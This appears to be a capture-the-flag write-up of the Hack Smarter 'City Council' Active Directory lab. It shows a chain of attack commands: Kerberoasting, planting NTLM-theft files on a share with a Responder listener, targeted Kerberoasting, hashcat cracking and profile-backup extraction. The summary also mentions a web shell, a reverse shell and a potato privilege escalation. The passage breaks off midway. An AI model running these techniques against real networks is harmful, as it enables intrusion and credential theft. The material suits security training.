# City Council

{% embed url="<https://www.hacksmarter.org/courses/3a4958cb-8c5b-414c-8efc-eb28b14fd1bc>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

A local municipality recently survived a devastating ransomware campaign. While their internal IT team believes the infection has been purged and the holes plugged, the Board of Supervisors isn't taking any chances. They’ve brought in **Hack Smarter** to provide a "second pair of eyes."

Your mission is to perform a comprehensive penetration test of the internal infrastructure. Reaching Domain Admin isn't the endgame; treat this like a real engagement. See how many vulnerabilities you're able to identify.

### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

You have been provided with VPN access to their internal environment, but no other information.

## Summary

<details>

<summary>Summary</summary>

In City Council we assess a municipality's internal Active Directory environment following a recent ransomware incident. With only VPN access and no credentials, we begin by enumerating the exposed services on the domain controller. The host runs a full AD stack (DNS, Kerberos, LDAP/LDAPS, SMB, WinRM, RDP, IIS), confirming we are operating directly against `city.local`.

Web enumeration of the IIS portal reveals staff names and email patterns, which we leverage to generate username candidates. Kerberos username enumeration does not yield results, so we pivot to the downloadable Linux client application referenced on the website. Traffic analysis of the binary during execution exposes plaintext LDAP bind credentials for the service account `svc_services_portal`. Using these credentials, we authenticate to the domain and enumerate Active Directory with BloodHound.

Kerberoasting reveals a crackable TGS for `clerk.john`, granting us `READ`/`WRITE` access to the `Uploads` share. An internal email hints that NTLM authentication is used without prompting for passwords. We weaponize this by planting NTLM coercion files (created via `ntlm_theft`) on the writable share and capture the NTLMv2 hash of `jon.peters`, which we crack offline. BloodHound shows `jon.peters` has `GenericWrite` over multiple users, enabling Targeted Kerberoasting. We obtain and crack service tickets for `nina.soto` and `maria.clerk`.

Access as `nina.soto` grants read access to the `Backups` share, where we discover WIM user profile backups. Extracting them reveals emails and DPAPI-protected Credential Manager blobs. Using Impacket's `dpapi.py` with `clerk.john`'s credentials, we decrypt stored credentials and recover the password for `emma.hayes` from Helpdesk.

BloodHound analysis shows `emma.hayes` has `WriteDacl` and `GenericWrite` over key OUs and users. We grant ourselves `GenericAll` over the `CityOps` OU, reset and enable the `sam.brooks` account a Remote Management Users member, and gain a WinRM foothold. From there, we pivot to the quarantined `web_admin` account by moving it into the `CityOps` OU (leveraging `GenericWrite` over Quarantine and `GenericAll` over CityOps), reset its password, and execute a reverse shell via `RunasCs`.

As `web_admin`, we upload an ASPX web shell to IIS and gain execution as `iis apppool\defaultapppool`. The account holds `SeImpersonatePrivilege`, allowing us to`NT AUTHORITY\SYSTEM` a system shell by compiling and executing an EfsPotato exploit. This yields  completing full domain controller compromise. We retrieve the final flag from the Administrator profile.

</details>

## Recon

We use `rustscan -b 500 -a 10.1.90.188 -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" %}

```
rustscan -b 500 -a 10.1.90.188 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWgoSwSXRCLXvI1dTqAlZ%2Fgrafik.png?alt=media&#x26;token=19281413-ab34-4f36-9085-a1d76272d7c5" alt=""><figcaption></figcaption></figure>

The target machine is actually a domain controller with exposed services including DNS `53`, Kerberos `88/464`, an `IIS /10.0` web server on port `80`, multiple MSRPC endpoints `135, 593, 49664+`, SMB `139/445`, LDAP and LDAPS `389/636/3268/3269` tied to Active Directory, RDP `3389`, WinRM on `5985`, and .NET Remoting `9389`. This indicates a fully integrated Windows AD environment where LDAP/LDAPS and Kerberos provide authentication, SMB and RPC enable remote management, and RDP/WinRM serve as remote access points.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2HscKgA8w8zmeaABcDwB%2Fgrafik.png?alt=media&#x26;token=d2c011e2-f08e-430e-a25c-b8c4e4be618e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnuLfmCGiATxFok5t78Uu%2Fgrafik.png?alt=media&#x26;token=6239d9b2-7c06-4153-ba75-28acdd469339" alt=""><figcaption></figcaption></figure>

### WEB

For now, we'll continue and take a look at the website hosted via the IIS.&#x20;

The site promotes a digital service portal to access various city government services such as permits, licenses, and service requests.&#x20;

```
http://10.1.90.188
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4ST0wlw39IHmfwgMLrzH%2Fgrafik.png?alt=media&#x26;token=3b6ba747-ef60-45b3-9b7e-11005efb501b" alt=""><figcaption></figcaption></figure>

We browse through the website and discover a team of four people in the lower third. From this information, we can identify the first and last names as well as the email addresses of each individual team member.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9DqPrwCPuIKh5wFdMOch%2Fgrafik.png?alt=media&#x26;token=d6701e43-c525-4b93-97dd-5640e67ac417" alt=""><figcaption></figcaption></figure>

We note down the names for possible later creation of a word list and username enumeration.

{% code title="users.txt" overflow="wrap" %}

```
emma hayes
jon peters
rita cho
nina soto
```

{% endcode %}

In the footer, we discover further links, including `Documents & Forms`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ff3V6u4ykBNCl2DFfoXwI%2Fimage.png?alt=media&#x26;token=c0e91d2d-4625-4b8a-81bb-9b54bb10be10" alt=""><figcaption></figcaption></figure>

In the footer, we discover further links, including Documents & Forms. Here we can download a Windows or Linux application to access various city government services.

```
http://10.1.90.188/documents-forms.html
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGSdx6h3VRrXtWd3qUOhB%2Fimage.png?alt=media&#x26;token=2832659f-c0ab-4402-9395-53bf7f8947c3" alt=""><figcaption></figcaption></figure>

Furthermore, we find instructions on how to use the applications, such as dependencies or entries that must be made in `/etc/hosts`. Here, we can already directly adopt the `/etc/hosts` entry. The entries required correspond to the domain we discovered from the Nmap scan.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8hAvMb4TDucIQaI5K9XD%2Fimage.png?alt=media&#x26;token=a7e0829b-559b-4248-838b-cebe6f28ad93" alt=""><figcaption></figcaption></figure>

### SMB

Before we dive in with username enumeration we try to authenticate as `guest` and anonymously against SMB, but without success - the account is disabled. Nevertheless we could generate the hosts file entry like the following:

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.90.188 -u guest -p '' --generate-hosts-file hosts
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvaOdMazv7FcGAi9SSevH%2Fgrafik.png?alt=media&#x26;token=33831d47-a3ba-4d02-a47d-77282d9203ab" alt=""><figcaption></figcaption></figure>

If not already done, we add the following line to our `/etc/host entry`:

```
10.1.90.188 DC-CC.city.local city.local DC-CC 
```

### LDAP

Since we have a list of first and last names, no valid usernames yet and no access, we create a username word list from this using username anarchy and use this resulting list to enumerate possible usernames using kerbrute.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fn4XbIvTTv1bcOSTIQFZd%2Fgrafik.png?alt=media&#x26;token=346a6eef-912c-4e69-a8ab-d8988471c4cc" alt=""><figcaption></figcaption></figure>

We create a username wordlist using Username Anarchy:

{% embed url="<https://github.com/urbanadventurer/username-anarchy>" %}

```
username-anarchy -i users.txt > usernames.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAa6IWA5RxmqMf0GvdRUR%2Fgrafik.png?alt=media&#x26;token=9023e2d1-bd7c-4729-ac47-3ac9bfd763d8" alt=""><figcaption></figcaption></figure>

Next we pass the list to Kerbrute, but we are not able to identify any valid users:&#x20;

{% embed url="<https://github.com/ropnop/kerbrute>" %}

{% code overflow="wrap" expandable="true" %}

```
kerbrute userenum -d city.local --dc DC-DC usernames.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZPvoTLlYtb3QXcqSzBGU%2Fgrafik.png?alt=media&#x26;token=847922e2-ce1d-4f42-ac36-1d221c11a3a7" alt=""><figcaption></figcaption></figure>

### Binaries

We continue with the binaries. I decided to take a closer look at the Linux binary. For this part, I had to switch to an amd64 machine. It turns out that the reversing is not so straightforward. And we could find out more by executing the binary, if necessary.

If not already done, we add the following line to our `/etc/host entry`:

```
10.1.90.188 DC-CC.city.local city.local DC-CC 
```

We download the binary and make it executable.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYI2eBqFmHtZRARkRRQIl%2Fimage.png?alt=media&#x26;token=16047473-cfb5-4068-a9ed-287ed9b6634f" alt=""><figcaption></figcaption></figure>

Next, we run the binary.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkxBGpUEnZOpkDu7SCReK%2Fimage.png?alt=media&#x26;token=b22bee77-15f7-46ee-aa6a-d6e5e02adcb9" alt=""><figcaption></figcaption></figure>

## Access as svc\_services\_portal

We can fill out and submit different forms for inquiries. For testing purposes, we use the `Building Permit Request` form, as it is already neatly pre-filled. We submit an application and see the `Application Status Log` building up.&#x20;

We see that a connection to the City Council Directory Services is being established. The `svc_services_portal` account is used and authenticated by means of an LDAP bind request. It is possible that credentials are stored in the binary and are transferred during the connection establishment.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5VWwNpub95qr7sxnG5Y6%2Fimage.png?alt=media&#x26;token=a9969b3d-0e1f-49b4-ae84-835e53e689c1" alt=""><figcaption></figcaption></figure>

After a short time, we see that our request has been processed.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcIpKOQRE0rPsYpjjZZyx%2Fimage.png?alt=media&#x26;token=b1d090de-1291-41a6-9be8-2d27e10a83f7" alt=""><figcaption></figcaption></figure>

We start Wireshark, select `tun0` in our case, and capture the traffic. We send another request.

After a short time, we see the bind request, which contains the user `svc_services_portal` and the corresponding password in a packet.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fr3fICkrsMIjrYmi2PPdp%2Fimage.png?alt=media&#x26;token=23fa96d4-2c06-4a67-b9b3-e86e5e328e7e" alt=""><figcaption></figcaption></figure>

If we follow the TCP request, it is easier to read.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPgvXEDaahmU6ZJpl20vj%2Fimage.png?alt=media&#x26;token=0cdd5de8-2477-4521-9ad6-b6acefc19984" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec on SMB. We successfully authenticated. In addition to the standard shares, we discover the `Uploads` and `Backups` share. However, as this user, we do not have access to these; we cannot access them for reading or writing. As this user, we cannot access the system via RDP or WinRM.

{% code overflow="wrap" expandable="true" %}

```
nxc smb city.local -u svc_services_portal -p 'REDACTED'  --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fecvi6aoXcwiuK7JscdtL%2Fgrafik.png?alt=media&#x26;token=729e08c5-2f36-4f5e-bb6d-7c803bcf298b" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration I

With the credentials, we can now also enumerate the AD using BloodHound.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py --zip -c All -d city.local -u svc_services_portal -p 'REDACTED' -dc DC-CC.city.local -ns 10.1.90.188   
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FitlDMz3C6Vyc3bFNqLU4%2Fgrafik.png?alt=media&#x26;token=d27f9e5c-faa7-419d-819c-ee9e20ad126a" alt=""><figcaption></figcaption></figure>

We first look at our compromised user and initially do not find any special permissions or groups. This confirms why we were unable to access the machine via RDP or WinRM. The user is not in any of the required groups.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fw7ayoV7ualn28Ziwsymz%2Fgrafik.png?alt=media&#x26;token=17fc92cb-55d8-495e-b6fa-79dfd1d23828" alt=""><figcaption></figcaption></figure>

We are able to identify `Administrator` as one of the Domain Admins.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTC9yVDjdqEsAi5YzGDD4%2Fgrafik.png?alt=media&#x26;token=620a6d7e-6bc9-45c6-a6e6-1fd64f3930ae" alt=""><figcaption></figcaption></figure>

However, we can detect Kerberos-enabled users. This is the user `clerk.john`. With the valid credentials we could have try Kerberoasting also blindly.&#x20;

We also cannot find any other special groups or permissions from `clerk.john`. Our hope now is that we can extract a TGS blob from `clerk.john` using kerberoasting and then crack it offline. With access as `clerk.john`, we could maybe then gain access to one of the shares and thus extend our privileges if they contained sensitive loot.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgL4SYerpPDARa80WJXZ3%2Fgrafik.png?alt=media&#x26;token=15d58202-4e77-4203-87b8-b1cc39c3ed80" alt=""><figcaption></figcaption></figure>

## Access as clerk.john

We use NetExec for kerberoasting and obtain the TGS blob from `clerk.john`.

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/kerberoast#practice>" %}

> When asking the KDC (Key Distribution Center) for a Service Ticket (ST), the requesting user needs to send a valid TGT (Ticket Granting Ticket) and the service name (`sname`) of the service wanted. If the TGT is valid, and if the service exists, the KDC sends the ST to the requesting user.
>
> Multiple formats are accepted for the `sname` field: servicePrincipalName (SPN), sAMAccountName (SAN), userPrincipalName (UPN), etc. (see [Kerberos tickets](https://www.thehacker.recipes/ad/movement/kerberos/#tickets) "cname formats").
>
> The ST is encrypted with the requested service account's NT hash. If an attacker has a valid TGT and knows a service (by its SAN or SPN), he can request a ST for this service and crack it offline later in an attempt to retrieve that service account's password.
>
> In most situations, services accounts are machine accounts, which have very complex, long, and random passwords. But if a service account, with a human-defined password, has a SPN set, attackers can request a ST for this service and attempt to crack it offline. **This is Kerberoasting**.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGpB5ed2znQ1m8b0sEHXn%2Fgrafik.png?alt=media&#x26;token=34869e3d-6ad4-4fce-b807-0d411a3148a0" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
nxc ldap city.local -u svc_services_portal -p 'REDACTED' --kerberoasting output.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FC6f9PQzjHkWyOsXpWdqw%2Fgrafik.png?alt=media&#x26;token=04598bc3-5d66-4974-8b5e-ccc54e96e999" alt=""><figcaption></figcaption></figure>

Next, we try to crack the hash using the wordlist rockyou.txt and are able to retrieve the password of `john.clerk`.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m13100 output.txt /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FW4x5IaEcpJWANUJburnC%2Fgrafik.png?alt=media&#x26;token=2ed27094-7edd-48d8-bbaf-618798f81854" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec on SMB. We successfully authenticated. And we do have actually `READ` and `WRITE` permission to the `Uploads` share.

{% code overflow="wrap" expandable="true" %}

```
nxc smb city.local -u clerk.john -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIJQ2iAy9peTDCEqzQQvp%2Fgrafik.png?alt=media&#x26;token=e369bb5c-559e-47d7-8412-1b796ea0a710" alt=""><figcaption></figcaption></figure>

## Access as jon.peters

We connect to the share using `smbclient.py`. Here we find various documents, we download the entire content via `mget *`.&#x20;

{% code overflow="wrap" expandable="true" %}

```
smbclient.py city.local/clerk.john:'REDACTED'@10.1.90.188
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaY8mqgvfWYUvEL9xDQxm%2Fgrafik.png?alt=media&#x26;token=f8686d40-3ba2-498d-ba36-809f37d15a84" alt=""><figcaption></figcaption></figure>

An email is among the files from `Emma Hayes` and `Jon Peters`. Here, the IT help desk provides instructions on how to use and integrate a share, the `Uploads` share, to which we also have `READ` and `WRITE` access. It is noted that NTLM is used for authentication and that a password entry is not necessary. This email seems to be a subtle hint that we, as attackers, should use the write permission to steal NTLM hashes. This is possible if we place a file on the share that references a remote resource under our control. When a user or service accesses this file, the system will automatically attempt to authenticate to the remote SMB share using NTLM, causing the NTLM challenge-response to be sent to our listener. By capturing this authentication attempt with a tool like `Responder`, we can obtain the NTLM hash.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpluVBpNGTz94MDja2Aeq%2Fgrafik.png?alt=media&#x26;token=b04c869c-c4ef-4baa-9e82-bbb9d97edee2" alt=""><figcaption></figcaption></figure>

{% code title="WriteAccess\_Jon.Peters\_DC-CC-Uploads.eml " overflow="wrap" expandable="true" %}

```
Subject: Write access to \DC-CC\Uploads has been granted

From: Emma Hayes emma.hayes@city.local

To: Jon Peters jon.peters@city.local

Date: Fri, 24 Oct 2025 10:42:00 +0100

Hi Jon,

Quick note: I’ve granted you write access to the shared folder \\DC-CC\Uploads. The folder is mapped as drive Z: on your workstation — you should be able to create, edit and upload files there.

The following files are already in the Uploads folder and appear to be actively edited by you:


Staff_Contacts.txt



If the drive does not connect automatically, you can map it manually (you will be prompted for your domain credentials):

net use Z: \\DC-CC\Uploads /user:city.local\jon.peters


Please note: the share uses NTLM authentication. If you connect from an unfamiliar or public device and see an authentication prompt, do not enter your credentials on that device — contact the IT Helpdesk so we can verify the endpoint before you proceed.

If you encounter any issues saving files or the mapping does not persist after reboot, let me know and I’ll check the mapping remotely.

Best regards,
Emma Hayes
IT Helpdesk – City Council
```

{% endcode %}

The Greenwolf `ntlm_theft` tool may help us out here. With that we are able to create up to 21 files that can be used for NTLM hash theft.

{% embed url="<https://github.com/Greenwolf/ntlm_theft>" %}

Alternatively, the hashgrab tool is also very reliable for generating such files, which connect to our server when called up for rendering:

{% embed url="<https://github.com/xct/hashgrab>" %}

We generate the files...

{% code overflow="wrap" expandable="true" %}

```
ntlm_theft.py --generate modern --server 10.200.37.204 --filename 'note'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGmM3Pb2ex6R97DhlBqaG%2Fgrafik.png?alt=media&#x26;token=bd7118c3-9821-4a56-9c3e-de43a4043efd" alt=""><figcaption></figcaption></figure>

... spin up responder...

{% code overflow="wrap" expandable="true" %}

```
sudo responder -I tun0
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fyz5ApK7wDy0G50D5kXYF%2Fgrafik.png?alt=media&#x26;token=2c3ce0c3-81c9-4aa4-be79-7683b8590a9a" alt=""><figcaption></figcaption></figure>

... and connect to the share again using `smbclient.py`. We put the resulting `.lnk` file from `ntlm_theft.py` into the share and wait some time.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py city.local/clerk.john:'REDACTED'@10.1.90.188
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6bP917nGMkhUnsbsU24c%2Fgrafik.png?alt=media&#x26;token=4e944868-951a-4519-a9c3-70bdc113a87c" alt=""><figcaption></figcaption></figure>

After a short duration we receive the NTLMv2-SSP of `jon.peters`.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOSO2b8V6UgzMwNbgmdwi%2Fgrafik.png?alt=media&#x26;token=bb7ba2fc-7e2c-4ce5-9258-535d4ec979e0" alt=""><figcaption></figcaption></figure>

We try to crack the hash and are successful.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m5600 NTLMv2-SSP-jon.peters /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2YygO26HNjLh2clSCO7I%2Fgrafik.png?alt=media&#x26;token=ae8867bd-060a-4df0-9f3d-2427c28f6e9e" alt=""><figcaption></figcaption></figure>

We test the credentials using NetExec on SMB. We successfully authenticated. However, we only have access to the `Uploads` share, which we have already successfully enumerated and exploited. So we need to go back to the drawing board. Let's look at our BloodHound data to see what the user can do.

{% code overflow="wrap" expandable="true" %}

```
nxc smb city.local -u jon.peters -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fshc1Erk7JEsKo4xR9YDT%2Fgrafik.png?alt=media&#x26;token=7626d77b-a694-48cf-ab6d-a6d0ecfba6f4" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration I

We see that the user jon.peters has GenericWrite permissions over three users. Those are `paul.roberts`, `maria.clerk` and `nina.soto`. his allows either a TargetedKerberoast or Shadow Credentials Atttack.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0xXasF6DgmyiU66jvm9l%2Fgrafik.png?alt=media&#x26;token=33e469c8-04a5-40b0-b027-7fc3ae1dc465" alt=""><figcaption></figcaption></figure>

## Access as nina.soto & maria.clark

We will first attempt a TargetedKerberoast attack.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting#targeted-kerberoasting>" %}

> This abuse can be carried out when controlling an object that has a `GenericAll`, `GenericWrite`, `WriteProperty` or `Validated-SPN` over the target. A member of the [Account Operator](https://www.thehacker.recipes/ad/movement/builtins/security-groups) group usually has those permissions.
>
> The attacker can add an SPN (`ServicePrincipalName`) to that account. Once the account has an SPN, it becomes vulnerable to [Kerberoasting](https://www.thehacker.recipes/ad/movement/kerberos/kerberoast). This technique is called Targeted Kerberoasting.

{% embed url="<https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKvAX83NzCChyltZeu3kr%2Fgrafik.png?alt=media&#x26;token=1ac9da85-abde-44b1-b86d-0188fb4b3b5a" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/ShutdownRepo/targetedKerberoast>" %}

We receive the TGS blobs from all four users:

{% code overflow="wrap" expandable="true" %}

```
targetedKerberoast.py -d 'city.local' -u 'jon.peters' -p 'REDACTED' --dc-ip 10.1.90.188 
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FB3MHNnepRC694DUXyvPj%2Fgrafik.png?alt=media&#x26;token=3a1e2f00-887e-4c5b-b451-664312f8a205" alt=""><figcaption></figcaption></figure>

And can crack the blobs from `nina.soto` and `maria.clerk`.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m13100 targetdKerberoastHashes.txt /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fl2ZNwvMyJ6SeD9trkzIm%2Fgrafik.png?alt=media&#x26;token=1adfbe92-9df7-49a1-a782-10b47d21eb62" alt=""><figcaption></figcaption></figure>

We test the credentials again using NetExec via SMB. We are able to authenticate successfully and see at `nina.soto` that we now have read access to the share `Backups`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb city.local -u nina.soto -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrhBMg1LmUVJBEUqrDZTy%2Fgrafik.png?alt=media&#x26;token=a5258258-e700-4c9e-9d6a-134dc690447f" alt=""><figcaption></figcaption></figure>

## Acces as emma.hayes

We connect to the share using smbclient.py and discover two subfolders: `Documents Backup` and `UserProfileBackups`.  We download all contents of both files using `mget *`.  The UserProfileBackups share contains two WIM files corresponding to the users `clerk.john` and `sam.brooks`.

Windws Imaging Format files are disk image files used by **Windows** to store a complete Windows installation or system deployment image. They allow multiple system images to be stored in one file.&#x20;

{% hint style="info" %}
The WIM file from `clerk.john` is somewhat larger and therefore takes a little longer to download successfully. Both files are required.
{% endhint %}

{% code overflow="wrap" expandable="true" %}

```
smbclient.py city.local/nina.soto:'REDACTED'@10.1.90.188
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqBbRrtpTv7Vpjw2Om1fT%2Fgrafik.png?alt=media&#x26;token=fa947e5f-8548-433f-80b9-d3a00620fb9c" alt=""><figcaption></figcaption></figure>

To extract the contents, we use `wimextract` from the `wimtools` suite, which can be easily installed using `apt install wimtools`, for example.

We create a folder for the contents of the image...

{% code overflow="wrap" expandable="true" %}

```
mkdir sam_brooks
```

{% endcode %}

... and extract them into this folder as follows.

{% code overflow="wrap" expandable="true" %}

```
wimextract sam.brooks_ProfileBackup_0728.wim 1 --dest-dir=./sam_brooks
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRth3h38aJFZPN5oguH47%2Fgrafik.png?alt=media&#x26;token=ab6ca014-0bef-48ef-ad99-4a0c5655abb6" alt=""><figcaption></figcaption></figure>

We look at the folder structure using `tree`...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDGmPoe2c04VP1IC5I9Bf%2Fgrafik.png?alt=media&#x26;token=6793c53a-8884-4879-9ecd-a13814ce4266" alt=""><figcaption></figcaption></figure>

and spot a `message_sam.eml` email file in the users `Desktop`.

